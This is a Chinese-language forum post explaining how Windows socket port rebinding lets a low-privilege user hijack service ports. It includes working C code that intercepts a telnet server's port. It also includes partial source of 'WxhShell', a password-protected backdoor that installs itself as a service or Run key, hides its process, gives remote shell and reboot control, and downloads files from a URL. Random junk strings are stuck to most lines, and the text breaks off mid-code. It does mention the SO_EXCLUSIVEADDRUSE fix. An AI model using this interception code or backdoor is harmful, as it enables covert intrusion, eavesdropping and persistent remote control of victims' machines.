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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8mc0(Z@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m) q e  
xwJ. cy  
  saddr.sin_family = AF_INET; `;c{E%qeq  
2=%R>&]*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )IFFtU~,  
au;ZAXM|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (DnrJ.QU}t  
VpO+52&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ! N!A%  
j3Yz=bsQ{c  
  这意味着什么?意味着可以进行如下的攻击: O{{\jn|lR  
b%TLvV 9F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 svWQk9d  
>qL-a*w:a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?= R C?K  
2mt S\bAF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {/2 _"H3:  
+ FG Xx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K;'s+ZD  
*dpKo&y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1w$X;q"  
#*tWhXU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {aoG60N  
L5RBe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #wS/QrRE  
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  #include S2\|bs7;J,  
  #include %2ZWSQD  
  #include [dIlt"2fV  
  #include    Pw|J([  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GE!fh1[[u  
  int main() .QLjaEja  
  { KmX?W/%R  
  WORD wVersionRequested; *=)kR7,]9d  
  DWORD ret; >g+e`!;6  
  WSADATA wsaData; RQ*oTsq  
  BOOL val; O?OG`{k  
  SOCKADDR_IN saddr; U?e.)G  
  SOCKADDR_IN scaddr; $v\o14 v  
  int err; sKniqWi  
  SOCKET s; x@Ze%$'  
  SOCKET sc; .Gcs/PN   
  int caddsize; *1b1phh0/  
  HANDLE mt; ]m=2 $mK  
  DWORD tid;   q_b,3Tp  
  wVersionRequested = MAKEWORD( 2, 2 ); YsA.,   
  err = WSAStartup( wVersionRequested, &wsaData ); G9AQIU%ii  
  if ( err != 0 ) { mhi^zHpa  
  printf("error!WSAStartup failed!\n"); 6!A+$"  
  return -1; grZ?F~P8  
  } I=c}6  
  saddr.sin_family = AF_INET; !)//b]  
   TD^w|U.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !WgVk7aP`  
C#oH7o+_.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P+gY LX8  
  saddr.sin_port = htons(23); N6<G`k,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  )k6O  
  { P^-daRb  
  printf("error!socket failed!\n"); #,jw! HO]  
  return -1; ~\o hH  
  } l|" SM6  
  val = TRUE; \wb0%> 0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e .(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1MYA/l$  
  { TO]7%aB  
  printf("error!setsockopt failed!\n"); zi?G wh~  
  return -1; NA{?DSP  
  } >!BZ>G2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P~9y}7Q\0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i"GCm`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9*CJWS;  
9 lH00n+'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3aERfIJyE  
  { C|g]Y 7  
  ret=GetLastError(); Jj'dg6QY'  
  printf("error!bind failed!\n"); jr3FDd]  
  return -1; 3v,Bg4[i  
  } K0-AP $  
  listen(s,2); ){FXonVP  
  while(1) *$*V#,V-  
  { w<$0n#5  
  caddsize = sizeof(scaddr); v?<Tkw ^F  
  //接受连接请求 "3e1 7dsY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2&KM&NX~  
  if(sc!=INVALID_SOCKET) IRY/0v  
  {  .H7xG'$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F&)(G\  
  if(mt==NULL) P+(q38f[  
  { OD yKS;   
  printf("Thread Creat Failed!\n"); /;V:<mekf  
  break; b6ui&Y8z  
  } ,4Qct=%L_  
  } .:A&5Y-   
  CloseHandle(mt); v7#`b}'W  
  } h%+6 y  
  closesocket(s); O]-s(8Oo3  
  WSACleanup(); x!;;;iS  
  return 0; $Y=xu2u)  
  }   5"^Z7+6  
  DWORD WINAPI ClientThread(LPVOID lpParam) XFJz\'{  
  { uK5 C-  
  SOCKET ss = (SOCKET)lpParam; E0_S+`o2y  
  SOCKET sc; i564<1`x  
  unsigned char buf[4096]; h:~ 8WV|  
  SOCKADDR_IN saddr; Q/y"W,H#  
  long num; 3.@ I\p}  
  DWORD val; :Lh`Q"a  
  DWORD ret; ]~t4E'y)z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nf )y_5y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p$!Q?&AV/  
  saddr.sin_family = AF_INET; P>[,,w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RDsBO4RG  
  saddr.sin_port = htons(23); HWOOw&^<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1azj%WY  
  { Gcp!"y=i  
  printf("error!socket failed!\n"); "D[/o8Hk  
  return -1; CoTe$C7  
  } |\6Ff/O  
  val = 100; zwJK|Sk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NsUP0B}.  
  { Lf0Wc'9{  
  ret = GetLastError(); E`gUNAKQ  
  return -1; 1# ;`1i  
  } Eq/oq\(/6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tt+E?C%Y  
  { [z> Ya-uz7  
  ret = GetLastError(); "|6763.{4  
  return -1; {L.=)zt>  
  } !r %u@[(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~%Xs"R1c ,  
  { D !5 {CQl  
  printf("error!socket connect failed!\n"); 7>!Rg~M  
  closesocket(sc); l2 mO{'|C  
  closesocket(ss); fUa[3)I  
  return -1; 4elA<<  
  } Jx3fS2  
  while(1) ! w2BD^V-  
  { ^Y?Y5`! Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ew>lk9La(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $4u8"ne)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }&Kl)2:O  
  num = recv(ss,buf,4096,0); K3-Cuku  
  if(num>0) 8XhGo2zf  
  send(sc,buf,num,0); y_}jf,b4  
  else if(num==0) CaqqH`/E4  
  break; L{uQ: ;w1  
  num = recv(sc,buf,4096,0); 8}>s{u;W  
  if(num>0) 94b* !Z  
  send(ss,buf,num,0); {~{</ g/  
  else if(num==0) 6hAMk<kx?i  
  break; &T2qi'  
  } 6:3F,!J!  
  closesocket(ss); ix!4s613w  
  closesocket(sc); Z[G:  
  return 0 ; +xn59V  
  } >NjgLJh  
3w$Ib}7   
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========================================================== zot_ jSV  
vuO~^N]G  
下边附上一个代码,,WXhSHELL =5u;\b>*  
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========================================================== st-I7K\v  
f\h|Z*Bv  
#include "stdafx.h" P2=u-{?~  
ew 4pAav  
#include <stdio.h> q :-1ul  
#include <string.h> ,;~@t:!c  
#include <windows.h> E%vT(Kz  
#include <winsock2.h> <nbc RO.  
#include <winsvc.h> Dx>~^ ^<  
#include <urlmon.h> *28:|blbL  
2'5u}G9  
#pragma comment (lib, "Ws2_32.lib") /Q\|u:oO,  
#pragma comment (lib, "urlmon.lib") #5=!ew  
H:!pFj  
#define MAX_USER   100 // 最大客户端连接数 4$MV]ldUI  
#define BUF_SOCK   200 // sock buffer ,@r 0-gL  
#define KEY_BUFF   255 // 输入 buffer Wk-jaz  
NW`L6wgl  
#define REBOOT     0   // 重启 z%~rQa./$  
#define SHUTDOWN   1   // 关机 7xoq:oP-}N  
l$J2|\M6  
#define DEF_PORT   5000 // 监听端口 9f_Qs4  
qJYEsI2M  
#define REG_LEN     16   // 注册表键长度 3&"+)*/ m  
#define SVC_LEN     80   // NT服务名长度 r(DW,xoK0  
7]lUPLsl  
// 从dll定义API *!&,)''  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rs;Y|W4'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8Y&_X0T|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4M*!'sG\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =q?sB]n  
)bR`uV9<  
// wxhshell配置信息 [6cf$FS9  
struct WSCFG { )A=&3Ui)ab  
  int ws_port;         // 监听端口 M:d} P  
  char ws_passstr[REG_LEN]; // 口令 =v49[i  
  int ws_autoins;       // 安装标记, 1=yes 0=no >o|.0aw<  
  char ws_regname[REG_LEN]; // 注册表键名 3R6=C~  
  char ws_svcname[REG_LEN]; // 服务名 I|R;)[;X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Qj;B)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4d;.p1ro  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }^]TUe@a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pfF2!`7pI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !G~`5?CvE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #kRt\Fzq  
bguTWI8bk  
}; f/UIpswrZ'  
prO ~g  
// default Wxhshell configuration QM4O|x[   
struct WSCFG wscfg={DEF_PORT, @nxpcHj  
    "xuhuanlingzhe", )POU58$  
    1, Uo=_=.GQ  
    "Wxhshell", U}^`R,C  
    "Wxhshell", -AZ\u\xCB  
            "WxhShell Service", `*w!S8}m;  
    "Wrsky Windows CmdShell Service", *r].EBJ\  
    "Please Input Your Password: ", %{ +>\0x  
  1, `IH*~d]  
  "http://www.wrsky.com/wxhshell.exe", ~__rI-/_  
  "Wxhshell.exe" ak$D1#hY  
    }; /5"RedP<  
C1po]Ott*  
// 消息定义模块 [J +5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MD>xRs   
char *msg_ws_prompt="\n\r? for help\n\r#>"; cxc-|Xori  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @ w?,7i-S  
char *msg_ws_ext="\n\rExit."; fO,m_ OR:)  
char *msg_ws_end="\n\rQuit."; gaU1A"S}  
char *msg_ws_boot="\n\rReboot..."; l?:S)[:  
char *msg_ws_poff="\n\rShutdown..."; s>ohXISB[  
char *msg_ws_down="\n\rSave to "; 8<PQ31  
2g$;ZBHO|8  
char *msg_ws_err="\n\rErr!"; xy+hrbD)j  
char *msg_ws_ok="\n\rOK!"; =.2)wA"e'  
o>e-M  
char ExeFile[MAX_PATH]; h_\OtoRa  
int nUser = 0; mV#U=zqb!S  
HANDLE handles[MAX_USER]; \VHRI<$+5  
int OsIsNt; /A1qTG=Br  
cd]def[d  
SERVICE_STATUS       serviceStatus; Fr)6<9%xVm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^|ul3_'?  
W #V`|JA  
// 函数声明 @ GXi{9  
int Install(void); ujh`&GiB+  
int Uninstall(void); UYvdzCUh  
int DownloadFile(char *sURL, SOCKET wsh); O1Nya\^g<I  
int Boot(int flag); tqzr +  
void HideProc(void); ~vB dq Yj  
int GetOsVer(void); @|d+T"f  
int Wxhshell(SOCKET wsl); PXo^SHJ+gt  
void TalkWithClient(void *cs); sjG@4Or  
int CmdShell(SOCKET sock); L^e%oQ>s  
int StartFromService(void); k]~|!`  
int StartWxhshell(LPSTR lpCmdLine); 37 d-!  
+ ;_0:+//  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7O<K?;I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OEhDRU%k  
xew s~74L  
// 数据结构和表定义 i9v|*ZM"  
SERVICE_TABLE_ENTRY DispatchTable[] = npMPjknl  
{ U~O*9  
{wscfg.ws_svcname, NTServiceMain}, kS< 9cy[O  
{NULL, NULL} nJcY>Rp?  
}; `Tc"a_p9t  
Y%Tm `$^V  
// 自我安装 j6#Vwcr  
int Install(void) ]BaK8mPl  
{ |SuN3B4e  
  char svExeFile[MAX_PATH]; 9F2MCqvcm  
  HKEY key; 1-}M5]Y  
  strcpy(svExeFile,ExeFile); T~)R,OA7m  
`@^s}rt+  
// 如果是win9x系统,修改注册表设为自启动 k FCdGl  
if(!OsIsNt) { Y} crE/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ k &ZA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l^R1XBP  
  RegCloseKey(key); )M_|r2dDq3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %,f(jQfg_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AYv7- !Yk  
  RegCloseKey(key); Ypwn@?xeP  
  return 0; 5E0dX3-  
    } x\5v^$  
  } %s ">:  
} @o>3 Bv.  
else { #PQhgli  
cXbQ  
// 如果是NT以上系统,安装为系统服务 z9JZV`dNgz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |[X-i["y  
if (schSCManager!=0) X1o=rT  
{ *}=z^;_oq  
  SC_HANDLE schService = CreateService >j)y7DSE  
  ( Mi047-% (  
  schSCManager, z?  Ck9  
  wscfg.ws_svcname, 7',WLuD  
  wscfg.ws_svcdisp, lf}%^od~6  
  SERVICE_ALL_ACCESS, FQM9>l@6)>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jf=\\*64r4  
  SERVICE_AUTO_START, "z4V@gk   
  SERVICE_ERROR_NORMAL, 'wVi>{?  
  svExeFile, }ZJ*N Y  
  NULL, A>%mJ3M  
  NULL, VvTi>2(.  
  NULL, ='Yg^:n  
  NULL, K(rWM>Jv  
  NULL '1rO&F  
  ); La r9}nx0  
  if (schService!=0) i/RA/q  
  { Xp0S  
  CloseServiceHandle(schService); Lc_cB`  
  CloseServiceHandle(schSCManager); );d"gv(]D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4rUOk"li  
  strcat(svExeFile,wscfg.ws_svcname); ,P^4??' o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r>g5_"FL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U U@  
  RegCloseKey(key); B}^l'p_u  
  return 0; Bb.U4#  
    }  mT,#"k8  
  } JzmX~|=Xi  
  CloseServiceHandle(schSCManager); J }|6m9k!  
} Zx)gLDd  
} _*CbtQb5  
Rk!8eN Pf  
return 1; 6&_K;  
} rY295Q  
\nU_UH  
// 自我卸载 FTWjIa/[  
int Uninstall(void) Kon|TeC>d  
{ /&W~:F  
  HKEY key; ,AwX7gx22  
x+EEMv3u:  
if(!OsIsNt) { 8dwKJ3*.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IGF25-7B  
  RegDeleteValue(key,wscfg.ws_regname); f0+vk'Z  
  RegCloseKey(key);  NR98]X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :H>0/^Mg0  
  RegDeleteValue(key,wscfg.ws_regname); w+iI ay  
  RegCloseKey(key); a;=IOQ  
  return 0;  bU$M)  
  } ))4RgS$  
}  1t }  
} 5IfC8drAs  
else { z oZ10?ojC  
UdcrX`^.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ##nC@h@  
if (schSCManager!=0) yaYJmhG  
{ xc,Wm/[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ EexNz  
  if (schService!=0) C/MQY:X4  
  { #Ve@D@d[  
  if(DeleteService(schService)!=0) { 7yUX]95y8  
  CloseServiceHandle(schService); .+&M,% x  
  CloseServiceHandle(schSCManager); yaPx=^&  
  return 0; WJy\{YAG  
  } j[Gg[7q{y  
  CloseServiceHandle(schService); |z?c>.  
  } fT{%zJU  
  CloseServiceHandle(schSCManager); a(lmm@;V<  
} X=V2^zrt  
} 8=OpX,t(  
rUZ09>nDy  
return 1; lr]C'dD  
} U\-=|gQ'  
<[?ZpG  
// 从指定url下载文件 f([d/  
int DownloadFile(char *sURL, SOCKET wsh) vF)eo"_s*  
{ avW33owb@  
  HRESULT hr; CI=M0  
char seps[]= "/"; ^.c<b_(=h  
char *token; *gOUpbtXa  
char *file; WWT1_&0  
char myURL[MAX_PATH]; N 1hj[G[H"  
char myFILE[MAX_PATH]; =k5O*ql"  
lYS*{i1^ '  
strcpy(myURL,sURL); sQn@:Gk  
  token=strtok(myURL,seps); Ho1V)T>  
  while(token!=NULL) ANTWWs}  
  { 7m8(8$-6  
    file=token; eV j7%9  
  token=strtok(NULL,seps); 6eb~Z6n&?  
  } f dJ<(i]7W  
/rHlFl|Wy  
GetCurrentDirectory(MAX_PATH,myFILE); 0<+eN8od.  
strcat(myFILE, "\\"); G\K!7k`)!  
strcat(myFILE, file); Nka 3H7 `  
  send(wsh,myFILE,strlen(myFILE),0); XrI$@e*  
send(wsh,"...",3,0); ~~q>]4>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 38GZ_ z}r  
  if(hr==S_OK) s7,D}Zz  
return 0; 1rON8=E  
else rTqGtmulG  
return 1; ZE9.r`  
yB|1?L#  
} #3?}MC  
C8D`:k  
// 系统电源模块 SGu`vN]  
int Boot(int flag)  Z>pZ|  
{ Q 3/J @MC  
  HANDLE hToken; Y|buQQ|  
  TOKEN_PRIVILEGES tkp; ?C']R(fQ\  
+[}<u--  
  if(OsIsNt) { k; >Vh'=X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D 4sp+   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <6+T&Ov6  
    tkp.PrivilegeCount = 1; QOY{j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~_ u3_d.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \2CEEs'  
if(flag==REBOOT) { Yr[& *>S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i&{%} ==7  
  return 0; ;9LOeH?  
} '$ [%x  
else { TX;)}\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i8S=uJ]n  
  return 0; V[n,fEPBr  
} ja6V*CWb  
  } ;SX~u*`R  
  else { fk!9` p'  
if(flag==REBOOT) { sG\K$GP!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sKk+^.K}|  
  return 0; *K BaKS  
} <v=s:^;C0  
else { p(nEcu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4W}mPeEeV  
  return 0; /EuH2cy$l  
} yCN?kHG  
} ^?*<.rsG  
1 J}ML}h)  
return 1; i!gS]?*DH  
} 5vJxhBm/  
HiBI0)N}  
// win9x进程隐藏模块 i.\ e/9]f  
void HideProc(void) iB`EJftI!  
{ zrf tF2U  
_!_1=|[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =2}V=E/85  
  if ( hKernel != NULL ) zRbY]dW  
  { z#1"0Ks&P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 20}w . V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {h PB%  
    FreeLibrary(hKernel); UZ#oaD8H6  
  } Vf<q-3q  
;e< TEs  
return; %NM={X|'  
} ci/qm\JI<<  
D$@2H>.-  
// 获取操作系统版本 3_`)QYU'  
int GetOsVer(void) !qU1RdZ  
{ mxpj<^n}  
  OSVERSIONINFO winfo; gA% A})  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _3< P(w{  
  GetVersionEx(&winfo); qDU4W7|T`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [P6m8%Y|s  
  return 1; p_X{'=SQ1  
  else #Ge_3^'  
  return 0; i,S1|R  
} xaVn.&Wl  
y#th&YC_b  
// 客户端句柄模块 1z4_QZZ.NG  
int Wxhshell(SOCKET wsl) @b,6W wc  
{ WdlGnFAWh  
  SOCKET wsh; 7?{y&sf  
  struct sockaddr_in client; @$'pMg  
  DWORD myID; J_;*@mW  
MTKNIv|  
  while(nUser<MAX_USER) k>7bPR5Mw  
{ HUAYtUBH  
  int nSize=sizeof(client); k61mRO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o8|qT)O@U  
  if(wsh==INVALID_SOCKET) return 1; v$w}UC%uf  
]:b52Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b*H*(}A6"'  
if(handles[nUser]==0) g7a446QR\K  
  closesocket(wsh); h(<>s#=E  
else {+nf&5E 6  
  nUser++; '5LdiSk  
  } U|VL+9#hd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JgA{1@h  
R PoBF~>  
  return 0; j>B*8*Ss  
} 0{vH.b @  
~KYzEqy  
// 关闭 socket wc. =`Me  
void CloseIt(SOCKET wsh) iy_Y!wZ{  
{ Pq8oK'z -  
closesocket(wsh); "j8)l4}  
nUser--; ,B_c  
ExitThread(0); N-_APWA  
} K&Bbjb_|  
[0aC]XQZ  
// 客户端请求句柄 I "O^.VC  
void TalkWithClient(void *cs) j7lJ7BIr  
{ CtV|oeJ  
&$ "J\v m  
  SOCKET wsh=(SOCKET)cs; ^X}r ^  
  char pwd[SVC_LEN]; ^L)TfI_n  
  char cmd[KEY_BUFF]; T&+3Xi:  
char chr[1]; DBL@Mp[<  
int i,j; d9BFeq8  
o-7{\%+M  
  while (nUser < MAX_USER) { s\pukpf@  
p6K~b  
if(wscfg.ws_passstr) { ?|+e*{4k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2[HPU M2>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GK!@|Kk8q7  
  //ZeroMemory(pwd,KEY_BUFF); T^(W _S  
      i=0; oBo*<6  
  while(i<SVC_LEN) { {it}\[3  
tx~,7TMS/  
  // 设置超时 ~!qnKM>[  
  fd_set FdRead; NjpWK ;L  
  struct timeval TimeOut; u[Kz^ga<  
  FD_ZERO(&FdRead); vdC0tax  
  FD_SET(wsh,&FdRead); [l3\0e6-/  
  TimeOut.tv_sec=8; 5RFro^S9E  
  TimeOut.tv_usec=0; o{`x:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1*2ycfa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CuvY^["  
XsQ81j.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  1n +Uv*  
  pwd=chr[0]; Tx!t3;Yz[  
  if(chr[0]==0xd || chr[0]==0xa) { A|S)cr8z  
  pwd=0; \)rMC]  
  break; jwa6`u  
  } eZqEFMBTm  
  i++; ZY]$MZf5yo  
    } ^4+NPk  
kN Ll|in@  
  // 如果是非法用户,关闭 socket 6QCV i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W"\}##  
} 6j XDLI  
'z AvQm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =eUKpYI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5X=1a*2']  
kSzap+nB?  
while(1) { Sx'oa$J  
I`X!M!dB)  
  ZeroMemory(cmd,KEY_BUFF); gac31,gH  
+]A,fmI.  
      // 自动支持客户端 telnet标准   rzIWQFv  
  j=0; vJ}WNvncVF  
  while(j<KEY_BUFF) { qnboXGaFu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; F'IS/ttX  
  cmd[j]=chr[0]; gv>DOez/  
  if(chr[0]==0xa || chr[0]==0xd) { jVd`J  
  cmd[j]=0; F:T(-,  
  break; el*|@#k}  
  } V 97ORI  
  j++; Mf#@8"l  
    } [*p;+&+/ZM  
2A; i  
  // 下载文件 jI7 x<=  
  if(strstr(cmd,"http://")) { 'g)f5n a[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :?\29j#*V  
  if(DownloadFile(cmd,wsh)) iYgVSVNg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l`zh Kj  
  else x\8g ICf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4X]/8%]V  
  } Ja:4EU$Lu  
  else { QUn!& 55  
JX&]>#6|E  
    switch(cmd[0]) { m;l[flQ~  
  @9| jY1  
  // 帮助 npltsK):  
  case '?': { E> GmFw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <b,WxR`  
    break; )/@KdEA:  
  } fc@<'-VA  
  // 安装 XjN =UhC  
  case 'i': { 6Q7=6  
    if(Install()) nt$P A(Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); En9J7es_  
    else X-(( [A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81x/ bx@L%  
    break; >^Wpc  
    } >W] Wc4 \  
  // 卸载 F\xIVY  
  case 'r': { S1Y,5,}  
    if(Uninstall()) #~nXAs]Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y/Y}C.IWp)  
    else \Hrcf+`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y GOkqI  
    break; *sU,waX  
    } >;,23X  
  // 显示 wxhshell 所在路径 r4/b~n+*  
  case 'p': { kE'p=dXx  
    char svExeFile[MAX_PATH]; 8QJr!#u  
    strcpy(svExeFile,"\n\r"); jFdgFK c)  
      strcat(svExeFile,ExeFile); OP=brLGu0  
        send(wsh,svExeFile,strlen(svExeFile),0); j% 7Gje[  
    break; lqOpADLS3  
    } E/oLE^yL  
  // 重启 w/o^OjwQ  
  case 'b': { eUQmW^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); , 4xNW:!j  
    if(Boot(REBOOT)) ,Ohhl`q(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V[kJ;YLPN  
    else { @NA+Ma{N  
    closesocket(wsh); ^UKY1Q .  
    ExitThread(0); C;HEv q7  
    } $7Hwu^c(  
    break; v\6.#>NQ  
    } ##Pzc~xSn  
  // 关机 * cW%Q@lit  
  case 'd': { 2QbKh)   
